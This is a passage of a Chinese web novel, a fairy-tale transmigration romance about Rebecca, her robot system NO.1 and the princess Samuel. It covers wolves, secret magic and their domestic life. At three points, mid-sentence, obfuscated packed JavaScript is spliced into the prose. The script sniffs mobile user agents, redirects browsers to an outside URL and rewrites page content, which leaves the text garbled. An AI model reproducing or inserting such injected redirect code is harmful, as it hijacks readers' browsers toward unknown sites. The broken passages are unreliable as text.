他感觉自己被赤裸裸地鄙视了,虽然不知道为什么。 对了,说到放火…… “你是怎么让火焰精准地往那些狼身上飞的?”瑞贝卡问。 是靠把火把扔出去吗?她刚才闭着眼没看清。 这小姑娘看着娇娇怯怯,胆子倒不小,臂力也惊人,隔着这么远的距离,能把火把扔这么远,要是放在现代,说不准还能去参加奥运会,就报掷铁饼这个项目,肯定打遍天下无敌手。 当然,要是让NO.2知道她在心里评价塞缪尔“娇娇怯怯”,估计白眼都能翻到天上去。 塞缪尔却没有回答她,而是松开抱住她的手臂,改为握住她的手腕,牵着她撒腿就跑。 “这些稍后再说,现在先逃命!” 瑞贝卡被他扯得一个踉跄,但还是稀里糊涂跟着撒腿就跑。 恰在此时,她听见身后传来一阵地动山摇的轰隆隆声,回头一看,就见崖边被炸掉了一大块,刚才就算是有狼侥幸没被炸成烂肉血泥,现在也脚下一空,直接掉进深不见底的悬崖里了。 看得瑞贝卡一阵浑身发凉,一边跑,脖子一边咔吧咔吧僵硬地转过来,看向塞缪尔还在扯着自己往前跑的后脑勺。 「你……你见过会杀狼、会炸山的公主吗?」瑞贝卡艰难问道。 「……现在见过了。」NO.1也艰难答道。 趴在树干上的蝉鸣叫得愈发撕心裂肺,似乎要奏响《降B小调第二钢琴奏鸣曲》。两人在黑漆漆的树林中撒足狂奔,惊起许多栖息在树丛中的萤火虫。它们一只只陆续亮起尾灯,数量庞大,一闪一闪照亮了回家的路。 恍惚间,瑞贝卡竟有些分不清,自己究竟是在海里,还是在陆地上——眼前虫群在夜空中飞舞的样子,和在海水中随波逐流的荧光浮游生物,似乎也没有什么不同。 跑着跑着,塞缪尔挽头发的头巾松了,向后随风扑在瑞贝卡脸上,发香也扑进瑞贝卡的鼻腔里。 她用没被塞缪尔牵住的那只手抹了一把脸,抓下蒙在脸上的头巾。 没了头巾的阻隔,塞缪尔随风飞舞的头发也一股脑扑在她脸上,发梢挠得她痒痒的。 虽然已经离断崖很远,但不知为何,塞缪尔还是没停下。瑞贝卡早就跑得气喘如牛,嗓子火烧火燎的,肺里针扎一样刺痛。 但她还是很顽强地撑住了。 两人一路跑回小屋。 塞缪尔打开门,先把瑞贝卡推进去,自己才跳进去,像跳进一辆即将发动、驶回夏夜的车。 门在身后关上,瑞贝卡正撑着膝盖半蹲着,气喘吁吁。 还没来得及转身开口说一句话,就感觉身后一道阴影投下笼罩住她,背后的人语气里满是山雨欲来的阴沉。 “被狼追怎么不喊我?嗯?要等到在狼肚子里了才知道叫唤么?” 瑞贝卡一听气笑了:“我这不是怕殃及你吗?而且我一个人也能应付得过来,你怎么能把我的好心当成驴肝肺?” 她一转身,就见公主平坦的胸口就近在咫尺,似乎是被她气急了,正稍显急促地起伏着,光滑的衣料表面在昏黄的灯光下泛着暗暗流淌的光泽。 ……差点儿又撞上自己高挺的鼻梁了。 瑞贝卡不着痕迹地退后两步。 但一直关注着她的动静的塞缪尔何其眼尖——别说瑞贝卡退后两步,就是瑞贝卡呼吸停滞了零点几秒、瞳孔扩大了零点几毫米,他都不可能错过。 他本来就患得患失,瑞贝卡这一退,直接被他解读为嫌弃或是害怕他了。 塞缪尔眼眸一暗,手指猛地攥紧了,手背青筋暴起。 他几乎是调动了全身的自制力,才抑制住向她伸出手、把她拉回自己怀抱中的欲望。 好想抱她…… 怀里空荡荡的,他勉强忍住心中被她误解的酸涩,垂下的睫毛遮住了通红的眼眶,闷闷道:“你自己一个人能应付个屁……我不怕被你殃及,只怕你肚子里全是驴肝肺。” “喂喂,怎么说话的呢?拐着弯骂我是驴是吧?一个公主,怎么能满嘴屎尿屁?跟谁学的?” 这下瑞贝卡没长胡子也要吹胡子瞪眼了。 她往自己身上嗅了嗅,顿时嫌弃地微微皱起眉。 “刚洗的澡,又跑得一身臭汗,这下白洗了。” 她嫌弃我,她也嫌弃她自己,四舍五入她把我看得和自己一样重要—— 塞缪尔见状,心里一下子就不堵了。 但他还是生怕她又出门洗澡,然后又被狼追,赶紧伸手拦住她。 “我有办法!” “什么办法?”瑞贝卡狐疑地抬头看他。 她的确在考虑要不要出门再洗一次澡,出了一身汗,浑身黏腻的,难受得都睡不着觉。 “你转过身,闭上眼。” 塞缪尔下定了什么决心似的,深吸了一口气,指挥她。 瑞贝卡不清楚他葫芦里卖的什么药,狐疑地照做了。 “Clean Sweep.(清洁一新。)” 塞缪尔站在她背后,低声念咒,几不可闻。 一条细长的黑蛇从他披散在背后、略显凌乱的长发间钻出,轻巧地缠上了瑞贝卡的手臂,周身散发着细小的黑色颗粒,像是加入了粒子特效。 但仔细看,不难看出那并非是什么黑蛇,而是一道黑烟。 它抚过脖颈,被汗渍浸湿的发丝和后颈瞬间变得干干净净,肌肤又恢复了清爽的感觉;它从衣领钻进去,把后背肌肤和布料黏在一起的热汗便消失得无影无踪,衣服也变得十分干爽。 惊得瑞贝卡立刻就睁开了眼,低头看了看自己,胸口的湿痕果然已经不见了。 “你是怎么做到的?!” 这太神奇了! 那道黑蛇似的烟雾似有所察,在她睁开眼的前一秒就猛地缩了回去,消散在塞缪尔泼墨般的发间。 「她用了魔法。」 “我用了魔法。” NO.1和塞缪尔的声音齐齐响起,一道惊讶,一道平静。 「事情真是越来越有趣了。」 NO.1翻着《格林童话》说。 「《歌鸫胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359699|199736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王子》的原文里,根本就没有提到公主会魔法。不然,她去跳大神都能混口饭吃,何必要和你这个臭乞丐挤在同一个屋檐下受气?」 「喂喂喂,你把话都说完了,让我说什么?」瑞贝卡没好气道,「别以为我听不出你在趁机阴阳我。」 「哪敢哪敢,小的岂敢阴阳老大?不过是实话实说罢了。」NO.1连忙谄媚道。 谁知瑞贝卡听了更生气了,直接就把NO.1禁言半小时。 NO.1搞不清自己明明道歉了,她为什么看上去更生气了,当即闷闷不乐地窝在阴暗的角落长蘑菇去了。 头上都能飘来一朵下雨的云。 “你怎么会魔法呢?”瑞贝卡百思不得其解地问塞缪尔。 NO.1说的话虽然不中听,但确实是事实——这位公主不是辛德瑞拉,可没有什么会为她变出礼服、水晶鞋和南瓜马车的仙女教母,又是上哪儿学的魔法呢? 蓝翔和新东方? 那只会学会开挖掘机和炒菜——还有英语。 塞缪尔眨了一下眼,睫毛轻轻颤动着,像是振翅欲飞的蝶。 “我在宫里的禁书上偷学的,这是第一次用。” 他湿漉漉的眼神像小鹿一样纯真,语气也像刚从纯净无尘的森林迷雾中走出、来到乱花渐欲迷人眼的繁华世间的精灵,丝毫不懂人心险恶。 他认真地告诉瑞贝卡:“你不要告诉别人。” “如果我告诉别人会怎样?” 看着她这副不谙世事的样子,瑞贝卡瞬间起了坏心眼,恶趣味地调侃。 越说不要做,她还越来劲了。 在这个世界,会魔法不是什么大逆不道的事吧? 为什么不可以说出去呢? 岂料塞缪尔似乎真的没有跟她开玩笑的意思,依旧是那副认真的样子。 “会……被烧死。” 他琉璃似的双眸深深凝视着瑞贝卡,眼里满是担忧和痛苦,仿佛她被烈火焚烧的场景此时此刻正浮现在他眼前。 “——烧死?!” 瑞贝卡像是被这两个字烫到似的,短促地尖叫了一声,随即又立刻捂住嘴,做贼心虚似的,下意识左右看了看,才拿开放在嘴上的手,压低声音重复了一遍。 “烧死……?” 塞缪尔点点头,忧心忡忡的神情不似作伪。 瑞贝卡也收回了玩闹的心思,有些心神不宁道:“……好,我一定会为你保守秘密的。” 塞缪尔摇摇头,“不,是为你自己保守秘密。” 瑞贝卡目光一滞,半张着嘴,难以置信地喃喃重复道:“我自己?” “对,你自己。” 塞缪尔垂下眸子,看着瑞贝卡呆呆的样子,心中涌现无限爱怜。 又为即将到来的、他和她无法逃避的命运而感到悲怮愤恨。 “所以,看到火,一定要躲开,知道吗?即使那火是经我的手点燃的。” 他忍不住低头,在她光洁的额上轻吻了一下,“好了,去睡觉吧。” 他的唇在那片肌肤上一触即分。 随着塞缪尔撤离的动作,瑞贝卡的眸光也由呆滞渐渐变回清明。 她似乎根本没意识到刚才塞缪尔落下的那个吻,愣愣抬头看他,表情浮现了一瞬间的空白—— “咦,奇怪,我的衣服怎么突然干了?身上也不黏了?” 难道在童话世界里待久了,她也变成公主体质了? 嘴里吐金币?身上流香汗?脚踩水晶鞋? 16. 歌鸫胡王子(16) “不知道呢。” 塞缪尔无辜地摇摇头,仿佛真的一无所知。 他双手撑在瑞贝卡背后,推着她往卧室里走。 “好了快睡吧,人家好困了,三分钟之内不睡着,罚你明天陪人家一起去卖破烂。” “什么破烂?那是陶器!而且还是你花了一大把金币买回来的陶器!” 瑞贝卡坚持纠正他。 一说起这个来她就肉疼——花黄金买白菜,要出手了,总不能指望把白菜卖出黄金的价吧? 这下肯定回不了本了。 小塞同学还是太不知人间疾苦了,偏偏她又狠不下心让她吃吃苦头。 但她还真怕明天被塞缪尔抓去当苦力,马上脱了鞋躺在床上,双手交叠着放在小腹上,闭上眼准备入睡。 “晚安。” 闭着眼的瑞贝卡一本正经道。 油灯被熄灭,屋内陷入静谧柔软的黑暗中。 塞缪尔侧躺在床上,脑袋枕在手臂上,泛着猫眼石活光的双眸一瞬不眨地盯着另一张床上的瑞贝卡。 两人之间只隔着一条手臂那么长的距离——每晚等她入睡后,他都会悄悄爬起来,把自己的那张床往她那边挪,让两张床亲密无间地紧紧并在一起; 清晨又会在她醒来之前,把床挪会原位。 今晚也不例外。 把床挪好后,塞缪尔轻快地翻身上床,依旧盯着瑞贝卡已经熟睡的侧颜,嘴唇动了动,却没有发出声音。 “晚安。” …… 窗外阳光稀疏纤薄,浓雾弥漫,连树上叶片的深绿色都看不清。 鸟儿叽叽喳喳欢快叫着,忙碌地四处飞来飞去,觅食准备过冬、找毛团叼小树枝搭起更厚实保暖的窝。 瑞贝卡是被一阵生命不可承受之重给活活压醒的。 她本来正在梦中大闹天堂,和大天使大战三百回合,然后技不如人被抓住了,那群长着超多翅膀的鸟人怪叫着要放火烧死她。 瑞贝卡才不会束手就擒,趁着一个看不清长相的六翼天使过来给她松绑的时候,她一脚踹翻了祂,然后撒腿就跑,不知怎的就腾云驾雾飞起来了。 就在她驾着筋斗云拼命往地面飞、想赶回时空管理局时,还没等她找到时空管理局在哪儿,一只散发着淡淡金光的大手就从身后追了过来,一巴掌将她压在底下。 瑞贝卡怎么也飞不出去,直接被当苍蝇似的啪叽一掌拍在底下,惊得她立刻就睁开了眼—— 胸前沉得要命,好像刚才有人用她的胸口碎大石一样——而且还没敲碎。 她脑子还沉浸在刚才的噩梦中没完全清醒,下意识朝着重力来源看去,入目是一颗黑色的脑袋,毛茸茸的黑色发顶还带着些没睡醒的凌乱。 塞缪尔闭着眼,长长的睫毛扑在眼睑下,像绒绒软软的小扇子。 莹润白皙的肌肤吹弹可破,比剥了壳的鸡蛋还要细腻,一颗毛孔也找不着。 鼻梁细直,嘴唇鲜红,脸颊因为趴在她胸口的姿势,被压得鼓起一块,像是被堆出了圆润弧度的积雪。 干净、清秀又可爱。 瑞贝卡保持着平躺在床上、脖子往前勾的姿势,眼珠子自上往下,定定地盯着他熟睡的脸许久,直到后颈传来一阵因维持高难度姿势而产生的酸痛、眼外肌也绷得发疼,她才卸了脖子上的力气,放松地往床上一倒,躺回枕头上。 ……真不愧是童话故事里的公主,早上一醒就这么好看。瞧瞧,这小脸白的,眉毛黑的,嘴巴红的,睫毛翘的,跟化了妆也没什么区别。 一醒就有大美人看,瑞贝卡心里挺美的。 尽管她为了不惊动塞缪尔,已经尽量放轻力道躺回去了,但早晨本来就是深度睡眠的尾巴,塞缪尔又趴在她身上,所以就在她的后脑勺与枕面相触的一瞬间,那双鸦睫轻轻颤动着,缓缓睁开了眼。 瑞贝卡呼吸一滞,下意识闭眼,屏住了呼吸,心跳响得像打雷。 虽然她也不知道自己为什么要装睡。 “……早上好,贝——瑞贝卡。” 塞缪尔揉了揉眼睛,轻声呢喃道。 然而当他的视线上移,触及瑞贝卡紧闭的眼皮和不时轻微抖动一下的睫毛时,那种刚睡醒时特有的迷糊和柔软顿时消失得一干二净。 他冷冷地望着她佯装沉睡的脸。 装睡? 是不想面对他么? 还是不想看见他这张脸? “呵……” 塞缪尔缓缓冷笑一声。 “没醒啊?正好。” 什么正好? 还没等瑞贝卡想出来这个“正好”指的是什么,就听见一阵窸窸窣窣的衣料摩擦声,似乎是什么缠绕在她身上的爬行动物在往上爬,一直爬到了她的脑袋边上——因为一股温热的吐息喷洒在了她的侧脸。 痒痒的,近在咫尺。 瑞贝卡感觉那东西离自己的脸只有几厘米。 但随即,更痒的事情出现了—— 有什么湿湿黏黏的东西贴上了她的皮肤,又软又热,表面似乎还附着细小的软粒,带着令人头皮发麻的触感…… 瑞贝卡再也装睡不下去,立刻睁开双眼往后一撤! 塞缪尔正趴在她身上,鲜红的舌尖吐在唇瓣外,还没收回去。 他看得分明,瑞贝卡那双熠熠金眸中十分清明,一点也没有刚睡醒的样子。 他的脸色顿时更加阴沉,绿眸也像雨后在角落滋生出一大片的苔藓般暗绿。 “醒了干嘛不理我?就想着被舔是吧?”他气鼓鼓道。 瑞贝卡:??? “你舔我干嘛?!” 她吓得用手背一抹刚才据说是被舔过的脸颊,果然抹下来一片晶亮的湿痕。 瑞贝卡嫌弃地直龇牙咧嘴。 上一次这么被舔,还是孤儿院里的大黄用刚进食过的嘴巴热情地扑上来,舌头不由分说在她脸上一顿乱甩,弄得她满脸都是唾液。 起先瑞贝卡也很热情地回应它,直到闻到了一丝莫名熟悉的臭味才发觉大事不妙…… 本着不能只脏她一个的心态,她反手就蹭到塞缪尔脸上。 “干嘛动不动就舔人,你是小狗吗?” 塞缪尔见她不仅没有气得直接把他踹下床去,还反手抹在他脸上——他将此举视为亲昵的信号,胆子大了些,握住瑞贝卡的那只手,脸颊贴在她掌心蹭了蹭,用鼻尖摩挲着她的掌纹,撒娇道:“就是小狗又怎么样?怎么,主人要摸摸狗头吗?” 说罢就把瑞贝卡的那只手往自己头上挪,用毛茸茸的头顶蹭了蹭她的手心,惬意地眯起眼。 瑞贝卡看着他这一系列熟练得不能更熟练的动作,诡异地陷入了沉默。 「……NO.1。」她艰难地呼唤道。 「在!」 出乎意料地,仅仅过了0.01秒,NO.1就响应了她的呼唤。 她还以为这个点,NO.1也在睡觉呢——虽然它其实并不需要。 但物似主人形,自从NO.1发现,夜间把自己关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359700|199736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机了,背板朝下放置几个小时会很舒服,它就经常这么干了。 对此瑞贝卡锐评:那是睡着了! 瑞贝卡因为睡得一向比它早,所以一直没发现。 直到某次在自家大别墅里起夜时,她因为没开灯看不清摔了个屁股墩儿,疼得倒在地上半天没起来,气急败坏地大叫NO.1从次空间出来用它的百万伏特逼人电眼给她照明。 ——因为她只有嘴能动。 但叫了半个小时,嗓子都喊哑了也没人理她。 瑞贝卡通过意识体往次空间里一看,才发现NO.1这个损色竟然自己给自己关机了,正躺在小床上呼呼大睡——这不是火上浇油吗? 气得瑞贝卡的意识体直接一脚给它踹醒了。 对此,NO.1表示很委屈:“你进任务世界的时候,我从来都是24小时待命!只有你休假我才会跟着休一休!每天起得比鸡早、睡得比狗晚,就算是奴隶主也会让黑奴眯一会儿啊!” 瑞贝卡毕竟也不是什么毛孔里滴血的吃人资本家,这么一想,觉得NO.1说的还真挺有道理——小机器人难道就没有休息的需求和资格吗?现在放NO.1一马,保不齐将来机器人发动智械革命,它还能护着她呢。 于是她默默闭上了嘴,自己撑着墙从地上慢慢爬起来。 结果NO.1看到了,吐槽道:“还说我呢,你自己不也躺着吗?” 瑞贝卡一听这话,简直要吐血了,顿时收回了刚才对它的同情心,翻了个巨大的白眼:“我这是摔了!” NO.1自知失言,赶紧给自己手动禁言了,并迅速从次空间里出来,把她搀扶回床上,又是嘘寒问暖又是端茶倒水的,那股殷勤的劲头,活像护工伺候孤寡老人。 还好后来去看医生,瑞贝卡只是软组织损伤,没有肌肉拉伤、尾椎骨折什么的,吃几天药就好了,NO.1这才放下心来。 这以后,NO.1给自己编写了一条底层代码:只要瑞贝卡喊“NO.1”,自己必须立刻放下手头所有事情,马上回应她。 「我还以为你还在睡大觉呢。既然没睡,帮我查看一下公主几岁了。」 瑞贝卡一脸麻木地看着塞缪尔把她的手放在自己头顶上,一脸荡漾地蹭来蹭去,顿时感觉自己被当成自助头部按摩仪使了。 「公主是不是被开发出了什么奇怪的性癖……我怀疑她口欲期还没过。」 「又黑我,我是那么懈怠的人,哦不,统吗?」 NO.1马上打开任务档案,调出任务目标资料面板。 自从瑞贝卡被投放到“歌鸫胡王子”的身份里,NO.1就没有一刻敢合眼,生怕真的是由于自己的疏忽导致了身份出错、与主系统断开连接这一系列问题。 它愧疚都来不及,又怎么敢偷懒呢? 「口欲期还没过?不可能吧……只要她妈妈不是巨人族的,看这体格,怎么都该成年了才对。」 NO.1一边敲键盘一边说。 「那还真不一定。现在小学生营养都足,我在网上刷到一段子,一个女孩在地铁上找了个一米八的帅哥要微信,结果人家出示了小天才电话手表。」 瑞贝卡面无表情地继续扮演全自动按摩仪。 「真的假的?」 NO.1立刻换上吃瓜专用语气,惊叹回复道。 它本来以为瑞贝卡不过是说着玩而已。然而,当NO.1往面板上一扫,小黑屏幕上的图标登时变成了三个巨大的感叹号—— 年龄:??? 17. 歌鸫胡王子(17) 「什么鬼?!」NO.1当即捧着脸惊恐地叫起来。 小黑屏幕上的像素点涌动着,立刻组成了那幅世界名画《呐喊》,两只黑洞洞的眼睛和足以塞进一个灯泡的嘴巴大张着。 「三个问号是什么意思?!」 「什么三个问号?」 瑞贝卡依旧看着塞缪尔拿她的手蹭脸——他已经把她的手从头顶拿了下来,再次用她的手心罩住了自己的脸,像吸猫一样埋在她的手心里,深深地吸了一口她手心里的气味,她的指腹就搁在塞缪尔细直高挺的鼻梁上。 塞缪尔闭着眼,纤长的睫毛轻轻颤动着,撩拨似的扫过她指尖,若即若离。 温热的鼻息就喷洒在她手心。 瑞贝卡感觉自己的手心有些冒汗,不由微微蜷了蜷手指,却没有缩回手,依旧任由他蹭。 孩子爱蹭就让她蹭呗,又不是什么不良嗜好,蹭蹭怎么了。 「年龄那一栏,三个问号。」 NO.1的线面手指在虚拟键盘上飞快地敲击,速度快到只能看见一片薄薄白影,根本看不清手指的形状。 「目标人物信息扫描失败……奇怪,其它身体数据都能扫出来啊?为什么唯独年龄是三个问号呢?」 「算了算了,扫不出来就不扫了。」 瑞贝卡松口,然后作若无其事状,又问了一句: 「她身高多少?」 「一米八八。」 「可恶,竟然比我高出整整二十厘米?我也要努力长高!」 瑞贝卡本来还想装作轻松的样子,结果听见那个数字后,一秒破功。 一定是因为小时候摄入的营养严重不足! 她也要拿牛奶当水喝,拿钙片当饭吃! 她愤愤一握拳,就立刻像菜包饭那样被包住了。 塞缪尔握住她的拳头,拆开,然后把她那只手也移到脸前,和先前那只手并排放在一起,整张脸更深地埋入她的掌心。 “在想什么?”他闷闷地撒娇,“看看我好不好?” “可是你就在我眼前啊。”瑞贝卡答。 “是啊,我就在你眼前,你却还在想其它的人和事,真过分。” 她肯定是在跟那个NO.1开小差,哼。 “没有在想别的事。”瑞贝卡试图辩解,“在想你的事。” “在想我的什么事?”塞缪尔眼睛一亮。 “在想……你每天就吃那么一点儿,究竟是怎么长得这么高的。”瑞贝卡诚实道。 “跟吃的没关系啦……” 塞缪尔闻言,把她的手归位,放回她身体两侧。 他自己则挪下去,双臂环着她的腰,把脸亲密地埋在她的小腹上。 “我不长高点,怎么给你长脸,嗯?” 一想到昨天那群矮得像地精的大臣宫侍都得仰望他和瑞贝卡,他就忍不住把脸埋在她小腹上,得意地偷笑起来。 发笑的频率顺着他和她身体相触的部分传到瑞贝卡身上,痒痒的,弄得瑞贝卡忍不住也想笑。 她也想起了昨天她带回家的那群人——他们明明是这个国家个顶个的中流砥柱,就算打扮成商贩、换上平民衣服,也舍不得摘掉手上那些牛眼大的宝石戒指。 这样的一群人,却因为身高原因,不得不抬着下巴,仰视身着粗布麻衣、满脸怯懦,浑身上下写满“我是很好捏的软柿子,快来捏我”的塞缪尔。 更有气势、更人多势众的那方个子却矮,个子更高的反而势单力薄、满脸慈悲……那场面,真是要多喜感有多喜感。 “好了,快起来。” 瑞贝卡把手放在他头顶上,做出要推他的样子,却没有真的使劲。 “今天不是说好要去摆摊的?” 塞缪尔本来还沉浸在和她亲密无间的接触中,闻言猛地一僵,随后拼命用鼻尖蹭她,像只可怜巴巴的小猫。 “一定要去吗?” “你真的不陪我去吗?” “要是有人来砸场子怎么办?” “要是遇见我父亲王国的人怎么办?” 他抬起眼来看她,两只绿眼睛里像是藏着漩涡,能把人吸进去似的。 瑞贝卡盯久了,感觉自己整个人都要被吸进去了,脑袋嗡嗡、晕晕乎乎的,感觉嘴巴都不受自己控制,马上就要张嘴答应她了。 “……”小公主撒娇撒得瑞贝卡都心软了,全靠NO.1在脑子里拼命敲锣打鼓才勉强保持着清醒的头脑。 “不行,必须去,你昨天答应过我的。”她勉强硬起心肠,“你不去,那些货都要砸在手里了。乖,听话,没有人会嘲笑你的。要是有人笑你,我就把他们的大牙打下来。” 说罢,她挥了挥拳头。塞缪尔见状,抿着唇,终于扑哧笑了。 瑞贝卡连哄带骗,总算把人弄出了门。塞缪尔一步三回头,眼里湿漉漉的。他企图用落水狗一样可怜兮兮的表情来唤起瑞贝卡的怜爱之心,但她只是倚在门边挥了挥手,根本没有要追上来的意思。 倒衬得他像是离不开奶嘴的娃一样。 塞缪尔:“……” 这个狠心的女人! 他正要转头大步离开,余光忽然瞥见瑞贝卡的嘴唇张了张,似乎要挽留他。 塞缪尔心中一喜,但还是把头摆正装作一无所知,脚下却悄悄放缓了步伐。 她要说什么? 果然还是不舍得他走吧? “等一下!” 下一秒,瑞贝卡果然叫住了他。 塞缪尔瞬间屏住了呼吸,等待她的下一句话。 “记得在太阳下山之前回来,不然又要被狼追着要急支糖浆了。” 塞缪尔:“……急支糖浆是什么?” 她脑袋里怎么净装着些他听不懂的东西。 “哎呀,不重要,总之你记得早点回来。” 公主还没笑,瑞贝卡倒先被自己的话逗乐了,又挥了挥手。 只是这次,她的手势从左右摇晃变成了朝外扇风,俨然一副驱赶的样子。 塞缪尔这下真的愤愤转身离开了。这次他没有再一步三回头,步伐迈得极大,一副果断得不能更果断的样子。 哼,这个狠心的女人!! “总算走了,这个磨人的小公主。” 瑞贝卡拍拍手,双手叉腰,环顾屋内。 “好了,差不多也该来干一下正事了。” 「什么正事?」NO.1好奇地问。 「研究一下,我们的这位公主,究竟是何方神圣。」 瑞贝卡把门从内侧锁好,往头上戴好防尘的布巾,拿起扫帚走入了卧室。 「你还在怀疑她不是原来的公主?」NO.1问。 「不是怀疑,是确信。」 瑞贝卡用肯定的口吻答。 两人的卧室实在很简陋,空间也狭小,除了两张床,以及特意留出的过道以外,基本就放不下什么了。 因此瑞贝卡看着那两张紧紧并在一起、中间一丝缝隙都不留的床,陷入了沉默—— 这床什么时候并在一起了?! 是长腿了、变成了连上厕所——不是,连睡觉都要手拉手的好闺闺? 「她干的?」 「你睡着了,总不能是我跑出来干的吧?」NO.1十分无语。 「……公主她,不会有雏鸟情结吧?!」 瑞贝卡想了半天也搞不懂公主对自己毫无缘由的好感与亲近究竟是怎么一回事,憋了半天,才憋出个“雏鸟情结”来解释。 「我看她不像是把你当妈的样子……」NO.1迟疑着答。 虽然它只是个小机器人,但这不代表它就对人类的情感一窍不通! 为了牢牢守住稳住NO.1的位置、更好地帮老大完成任务,它平时可是有很努力地在学习哦! 而且长了眼睛的人都能看出来,公主看老大的眼神,直勾勾、赤裸裸、不加掩饰,简直像是要把她吃了,又怎么可能把她当妈? ——不过这样的眼神,它在哪里看到过呢? NO.1托着下巴沉思。 对了,它想起来了! 每次月末,业绩排名公布的时候,那个“万年老二”、它的手下败将,盯着自己的榜首宝座时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359701|199736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是这一副表情! 但NO.2这样盯着自己的宝座看,它能理解——公主这么盯着老大看,又是什么意思呢? 刚以为自己推理出了一丝头绪的福尔摩斯·NO.1,再次陷入了沉思。 「先不说那个了。」 瑞贝卡把床恢复到原来的位置,弯腰认真扫起地来。 「都这么多天了,你还没联系上主系统?」 不怕一万、只怕万一,不能使用积分商城和紧急逃脱程序,实在太不方便,也太危险了。 「可别提了!」 一提到这个,NO.1就一肚子火,从躺椅上跳下来,一边叉腰,一边招招手。 「来来来,你进次空间里来,我现在就操作给你看。」 它生怕被瑞贝卡误会成光吃干饭不干活的懒蛋系统,当即就把她叫进来,一人一统围在布满按键的操作台前。 面前是一面足有三米高的光屏,正散发着淡淡的白光,光标在空无一物的屏幕上一闪一闪。 NO.1的头像是只没敲一会儿键盘就拍拍额头夸自己“好狗狗”的比格犬,它给对面的备注是“老大2号”,上面还有之前的几段对话—— NO.1:老大,我宿主想充游戏,但手头有点紧,你看…… 主系统:马上。 五分钟后。 NO.1:老大,我宿主要组一台电脑,可是5090的显卡太贵了,你看…… 主系统:……马上。 十分钟后。 NO.1:老大老大!我宿主买柯尼塞格的时候卡刷不出钱了,你看…… 主系统:都说了马上!今年的奖金在审批了!马上就发!别催! 行,老大1号是她,就算主系统来了也只能排老大2号,这小机器人没白养。 瑞贝卡这还是第一次看到NO.1与主系统的联络界面,而且大部分还是NO.1帮她讨薪,一时心中十分欣慰。 主系统一般都会准点发工资和奖金,拖欠的时候不多,但也很快就发下来了。 她还以为完全是主系统比较讲良心,原来还有NO.1不厌其烦(被烦的是主系统)帮她要钱的功劳。 她盯着那个光标好一会儿,才说:“我还以为你都是敲摩斯电码向主系统发出通讯请求的呢。” 这么简单,跟发微信也没什么区别嘛。 NO.1简直要被她的天马行空逗笑了,“那是科技不发达才不得不用摩斯电码的。你看,现在科技发达了,还有几个人会敲摩斯电码?技术就该变得越来越人性化和易于使用,降低操作成本才是它的发展方向。应该是技术为人服务,而不是人为技术服务,不要倒反天罡。不过,只有我们辅助系统才有向主系统发起通讯的权限,你们宿主是没有的。” “为什么?为了防止我们脱离时管局单干?” “这我也不清楚耶……可是,你们根本就没有接私活的可能呀?奖励积分、衣食住行,全都是时管局根据任务评级和业绩排名发放的。评级业绩和时管局积分挂钩、时管局积分和现实生活中的货币挂钩——没有这些规划得完美周全的制度,你们调查员就算真的能够越过时管局方,通过其它的时空缝隙进入任务世界中,也无法获得积分呀?” “除非……‘奖励’本身,就是任务世界里的某样东西?” 瑞贝卡沉吟片刻,猜测道:“这样就能解释,为什么要越过时管局辖下的时空缝隙进入任务世界了——因为如果通过时管局的路径进入任务世界,完成任务后,是没法儿把‘奖励’带出来的。” 当然,如果只是些无关紧要的小东西,还是可以拿的,比如没吃完的蛋糕、磨得半秃的鹅毛笔……要是那些宝石黄金可以带出去的话,恐怕还没做多少任务,时管局已经不剩几个调查员了。 因为聪明人干一票大的就跑路了。 “好了好了,这些都只是我们的猜测而已。时管局的想法,哪里是我们这些小喽啰能猜到的?” NO.1挥了挥手,“叫你进来,是为了让你亲眼看看,这东西是怎么气我的,可不能只有我一个人生气。”